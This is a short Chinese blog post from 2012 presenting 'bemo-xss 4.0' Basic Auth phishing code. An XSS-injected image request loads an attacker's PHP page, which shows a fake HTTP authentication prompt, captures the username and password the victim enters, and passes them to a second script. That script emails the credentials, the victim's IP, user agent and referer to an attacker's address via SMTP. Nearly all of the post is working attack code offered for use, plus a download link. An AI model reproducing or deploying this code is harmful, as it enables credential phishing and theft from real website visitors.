您的位置:首页 > 编程语言

基础认证钓鱼利用代码----bemo-xss 4.0

2012-12-11 17:45 316 查看
调用方式:

x=new Image();
x.src="http://mysite.com/auth.php";

auth.php:

<?php
if($_SERVER['PHP_AUTH_PW'] =="" || $_SERVER['PHP_AUTH_USER'] =="" )
{
header('WWW-Authenticate: Basic realm="Basic Auth"');
header('HTTP/1.0 401 Unauthorized');
}
else{
$user = $_SERVER['PHP_AUTH_USER'];
$pass = $_SERVER['PHP_AUTH_PW'];
$fish = "username:".$user."  password:".$pass;
header("location:http://mysite.com/x.php?c=$fish");
}
?>

X.PHP:

<?php
$ip = $_SERVER['REMOTE_ADDR'];
$referer = $_SERVER['HTTP_REFERER'];
$agent = $_SERVER['HTTP_USER_AGENT'];
$data = $_GET[c];
$time = date("Y-m-d G:i:s A");
$text = "<br><br>".$time." = ".$ip."<br><br>User Agent: ".$agent."<br>Referer:
".$referer."<br>Session: ".$data."<br><br><br>";
require("class.phpmailer.php");
$mail = new PHPMailer();
$mail->CharSet = "UTF-8";
$address ="xssget@qq.com";//接收邮箱地址
$mail->IsSMTP(); // 使用SMTP方式发送
$mail->Host = "smtp.163.com"; // 您的邮箱域名
$mail->SMTPAuth = true; // 启用SMTP验证功能
$mail->Username = "xsssend@163.com"; // 邮局用户名(请填写完整的email地址)
$mail->Password = "mailpwd"; // 邮局密码
$mail->Port=25;
$mail->From = "xsssend@163.com"; //邮件发送者email地址
$mail->FromName = "Bemo-XSS success!";
$mail->AddAddress("$address", "a");
$mail->IsHTML(true); //是否使用HTML格式
$mail->Subject = "Bemo-XSS success!"; //邮件标题
$mail->Body = $text; //邮件内容,上面设置HTML,则可以是HTML
if(!$mail->Send())
{
echo "邮件发送失败. <p>";
echo "错误原因: " . $mail->ErrorInfo;
exit;
}
?>


具体代码见下面附件!

附件:http://down.51cto.com/data/2361941
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息